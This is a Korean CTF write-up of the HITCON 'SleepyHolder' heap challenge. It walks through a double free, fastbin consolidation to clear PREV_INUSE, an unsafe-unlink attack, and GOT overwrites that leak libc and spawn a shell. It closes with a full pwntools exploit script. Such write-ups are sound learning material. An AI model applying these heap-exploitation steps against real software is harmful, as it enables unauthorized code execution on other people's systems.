본문으로 바로가기

1. Mitigation 

1
2
3
4
5
6
[*'/home/juntae/ctf/hitcon/SleepyHolder/SleepyHolder'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
cs

그냥 평범하게 미티게이션이 걸려있다.

특이한 점이라면 RELRO가 Partial이여서 GOT overwrite가 가능하다는거 정도?

힙 문제를 조금 풀다보니까 이제 힙문제에서 미티게이션은 스택에 비해 별로 중요하지 않은것 같다는 생각이 든다.



2. Analysis

urandom에서 값을 4개를 뽑아와서 0xFFF와 and연산을 하고, 그 값 만큼 malloc해준다.

- heap주소를 브루트포싱 할 수 없다.

그리고 메뉴를 출력해준다!

메뉴에 특이점이 하나 있는데, 비밀 출력함수가 없다. 

1
2
3
puts("1. Keep secret");
puts("2. Wipe secret");
puts("3. Renew secret");
cs


1. Keep secret

- 어떤 비밀을 keep할것인지 고를 수 있다!

- keep할때 malloc이 아닌 calloc으로 메모리를 할당한다. 

- 할당한 메모리는 전역변수에서 관리한다.

- UAF가 힘들어진다.

- 1번 : fast chunk(40)인 Small secret

- 2번 : large chunk(4000)인 Big, Huge secret(400000)

- 특이한 점이라면, huge secret은 입력만 가능하다는 점 이다. ( can't free )

-  비밀을 keep하게 되면 비밀이 keep되었는지 상태를 나타내주는 전역변수의 값이 변한다.

- 비밀이 keep되면 check_(size)_secret의 값이 1이 된다.


2. Wipe secret

- 어떤 비밀을 wipe할것인지 고를 수 있다!

- wipe할때 메모리를 free해준다.

- 한번 free하고나면 free하지 못하게 해야하는데, 체크를 안한다.

- DFB가 발생한다.

- check_(size)_secret의 값이 0으로 변한다.

- 근데 free만 해주고 전역변수 내부 값은 초기화를 안해준다.

- 위에서 설명했듯이, huge secret은 wipe(free) 할 수 없다.


3. Renew secret

- 비밀의 내용을 수정할 수 있다.

- Small secret과 Big secret만 수정할 수 있다.

- 내용을 수정하기 전에, check_(size)_secret으로 메모리가 할당되어있는지 확인한다.

- check_(size)secret이 1이면 비밀의 내용을 수정할 수 있다.

- 해당 비밀의 size만큼만 수정할 수 있다.

- heap overflow가 불가능하다.



3. Leak

DFB가 발생하고, prev_size를 바꿀 수 있긴 한데, 일단 메모리의 자유로운 할당과 해제가 불가능하다.

그래서 어떻게 DFB를 이용 해야 할지 생각해 보아야 한다.

여기서 fastbin consolidate를 이용할 수 있다.


1. small secret(fastbin) 하나를 할당한다.

2. large secret(largebin) 을 할당해준다.

3. small secret을 wipe해서 free해준다.

- 당연하게도 small secret은 fastbin으로 들어간다.

- 여기서 fastbin의 할당과 해제에는 PREV_INUSE값이 변하지 않는다. ( 그대로 1임 )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[1] First Free !!
 
gdb-peda$ x/10gx 0xf0aee0
0xf0aee0:    0x0000000000000000    0x0000000000000031
0xf0aef0:    0x0000000000000000    0x0000000000000000
0xf0af00:    0x0000000000000000    0x0000000000000000
0xf0af10:    0x0000000000000000    0x0000000000000fb1
0xf0af20:    0x0000000a42424242    0x0000000000000000
 
 
[2] Double Free !!
 
gdb-peda$ x/10gx 0x171ce30
0x171ce30:    0x0000000000000000    0x0000000000000031
0x171ce40:    0x0000000000000000    0x00007f349676cb98
0x171ce50:    0x0000000000000000    0x0000000000000000
0x171ce60:    0x0000000000000030    0x0000000000000fb0
0x171ce70:    0x0000000a42424242    0x0000000000000000
cs

4. huge secret를 keep하고 small secret을 다시 wipe해준다.

근데, 위에서 free만 해주고 전역변수 내부의 heap주소들은 초기화를 안해준다고 했다.

- 그래서 heap overflow가 발생한다.

- Huge secret을 kepp하면 small secret은 fastbin이 아니라 smallbin으로 들어간다.

- smallbin인 상태에서는 PREV_INUSE값이변한다.

5. small secret을 다시 wipe한다.

- DFB가 trigger 된다. 

- smallbin 상태에서 fastbin consoildate를 했기때문에 PREV_INUSE값이 0이 된다.



이걸 이제 어떻게 활용 할 수 있을까?

바로 Unsafe unlink 공격에 활용할 수 있다.


난 라업보고 이 문제 풀면서 이부분에서 미친건가 생각이 들었다.

진짜 말도안된다. 이떻게 이런생각을하고 문제를 낼 수 있을까? 

PREV_INUSE overflow가 불가능한 상황에서 이렇게 Unsafe unlink를 trigger할 수 있다는게 그저 놀랍다.

어쨌든 fastbin consolidate와 DFB등 여러가지를 활용해서 Unsafe unlink의 조건을 만족했다.


Unsafe unlink에는 몇가지 조건이 있다.

1. heap 주소를 전역변수에서 관리해야함.

- 전역변수에서 관리한다.

2. 0x80(fastbin)크기 이상의 heap을 할당할 수 있어야함.

- 할당 가능하다.

3. PREV_SIZE 변조가 가능해야함.

- 변조가 가능하다.

4. PREV_INUSE bit가 변조 가능해야함

- 가능하다.


이제 원하는 공간에다가 메모리를 할당하고, 값을 제어할 수 있다.

위에서 설명했듯이, 이 프로그램에는 메모리 내부를 출력해주는 함수가 없다.

그래서 leak하기가 상당히 애매한데, 여기서는 다른함수의 got를 puts함수의 plt로 변조하는 방법을 사용한다.


아래 사진을 보자.

Unsafe unlink공격 target의 대상을 small_secret이라고 해보자.

공격이 성공한다면, 메모리는 small_secret - 0x18의 주소에 할당될 것이다.

이 주소는 0x0620b8이다. 즉, 모든 secret값들을 제어할 수 있다. 

아래와 같은 경우를 생각해보자.


1. big_secret에 atoi함수의 got를 덮음.

2. huge_secret에 puts함수의 got를 덮음.

3. small_secret에 free함수의 got를 덮음.

4. check_(size)_sercet부분은 모두 1로 덮어 사용 상태로 만듬.

- renew메뉴냐 wipe메뉴를 자유자재로 활용할 수 있음.


자, 이렇게되면 leak을 할 수 있다.

어떻게?


renew메뉴로 입력받을때 아래와 같은 부분을 사용한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
puts("Which Secret do you want to renew?");
puts("1. Small secret");
puts("2. Big secret");
memset(&s, 0, 4uLL);
read(0&s, 4uLL);
v0 = atoi(&s);
if ( v0 == 1 )
{
  if ( check_small_secret )   
  {
    puts("Tell me your secret: ");
    read(0, small_secret, 0x28uLL);
  }
  else if ( v0 == 2 && check_big_secret )
  {
    puts("Tell me your secret: ");
    read(0, big_secret, 0xFA0uLL);
  }
}
cs

자, 일단 지금 check_(size)_secret은 모두 1이다. 그래서 read로 입력받는 부분까지는 분기 할 수 있다.

여기서 1번 메뉴를 입력하고, small_secret에다가 값을 입력받으면 어떻게될까?

지금 small_secret에는 free got가 들어가 있다. 

즉, got를 overwrite할 수 있다. ( 다행히도 partial relro이다. )

free got 내부에다가 puts함수의 plt를 저장하고, wipe함수를 이용하여 free할때를 생각해보자.


만약, wipe를 한 후, big secret을 free한다고 하면, 다음과 같은 과정을 거친다.

0. 일단 wipe했으니까 check_big_secret이 0으로 변함.

1. free(big_secret) 구문에 도착함.

2. free의 got는 puts함수의 plt임.

3. 즉, puts(big_secret)이 됨.

4. 여기서 big_secret에는 atoi함수의 got가 들어가있음.

5. 즉, atoi함수의 got가 leak됨.


상상도 못한 정체 ㄴ(ㅇㅁㅇ)ㄱ

leak을 이렇게도 할 수 있다니 이게 말이되나 싶다.



4. Exploit

이제 libc base도 구했으니 원하는 주소들은 전부 찾을 수 있다.

leak할때 사용했던 방법처럼 got를 변조시켜서 쉘을 획득 할 수 있다.


1. free함수의 got를 다시 system으로 변조시킴. 

2. 위에서 big_secret을 wipe했으므로, keep으로 다시 big_secret을 할당할 수 있음.

3. big_secret을 다시 할당하고, 내부 데이터로 /bin/sh를 덮음.

4. big_secret을 wipe메뉴를 이용하여 다시 free함.

5. free함수의 got는 현재 system인 상태이고, big_secret의 내부에는 /bin/sh가 들어있음.

6. system("/bin/sh") 가 실행됨.



5. Exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
 
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
= ELF("./SleepyHolder")
= process("./SleepyHolder")
 
r.recvuntil("and no one will be able to see it :)\n")
 
def keep(select,secret): 
    r.sendlineafter("\n","1")
    r.sendlineafter("\n",str(select))
    r.sendlineafter("\n",secret)    
 
def wipe(select):
    r.sendlineafter("\n","2")
    r.sendlineafter("\n",str(select))
 
def renew(select,secret):
    r.sendlineafter("\n","3")
    r.sendlineafter("\n",str(select))
    r.sendafter("\n",secret)
 
 
keep(1,"AAAA")
keep(2,"BBBB")
wipe(1)
keep(3,"CCCC")
wipe(1)
#remove "PREV_INUSE" -> triger Unsafe unlink !!
 
small = 0x6020d0
payload  = p64(0)*2
payload += p64(small-0x18)
payload += p64(small-0x10)
payload += p64(0x20)
keep(1,payload)
wipe(2)
#make fake chunk! -> malloc in (small-0x18)
 
payload  = p64(0)
payload += p64(e.got["atoi"])
payload += p64(e.got["puts"])
payload += p64(e.got["free"])
payload += p64(1* 3 
renew(1,payload)
#GOT overwrite for leak libc !!
 
renew(1,p64(e.plt["puts"]))
wipe(2)
leak = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base = leak - libc.symbols["atoi"]
system = libc_base + libc.symbols["system"]
log.info("leak atoi GOT : " + hex(leak))
log.info("libc base : " + hex(libc_base))
log.info("system : " + hex(system))
#leak libc and find gadget
 
renew(1,p64(system))
keep(2,"/bin/sh\x00")
wipe(2)
#GOT overwrite and get shell !!
 
r.interactive()
 
 
cs

다시생각해봐도 말이안된다.

어떻게 이런생각을 해서 문제를 낼수가있을까...

그 악명높은 HITCON문제중에서도 one solve문제인 이유가 있나보다.

문제를 낸사람이나.. 푼사람이나.. 대단하다..

'System Hacking ( pwnable ) > CTF Write-up' 카테고리의 다른 글

[hackingcamp] bofforever ( write-up )  (0) 2019.08.25
[SSTF] bofsb ( write-up )  (0) 2019.08.20
[Rctf] Rnote ( write-up )  (0) 2019.08.02
[0ctf] babyheap ( write-up )  (0) 2019.08.02
[PlaidCTF] ropasaurusrex ( write-up )  (0) 2019.04.14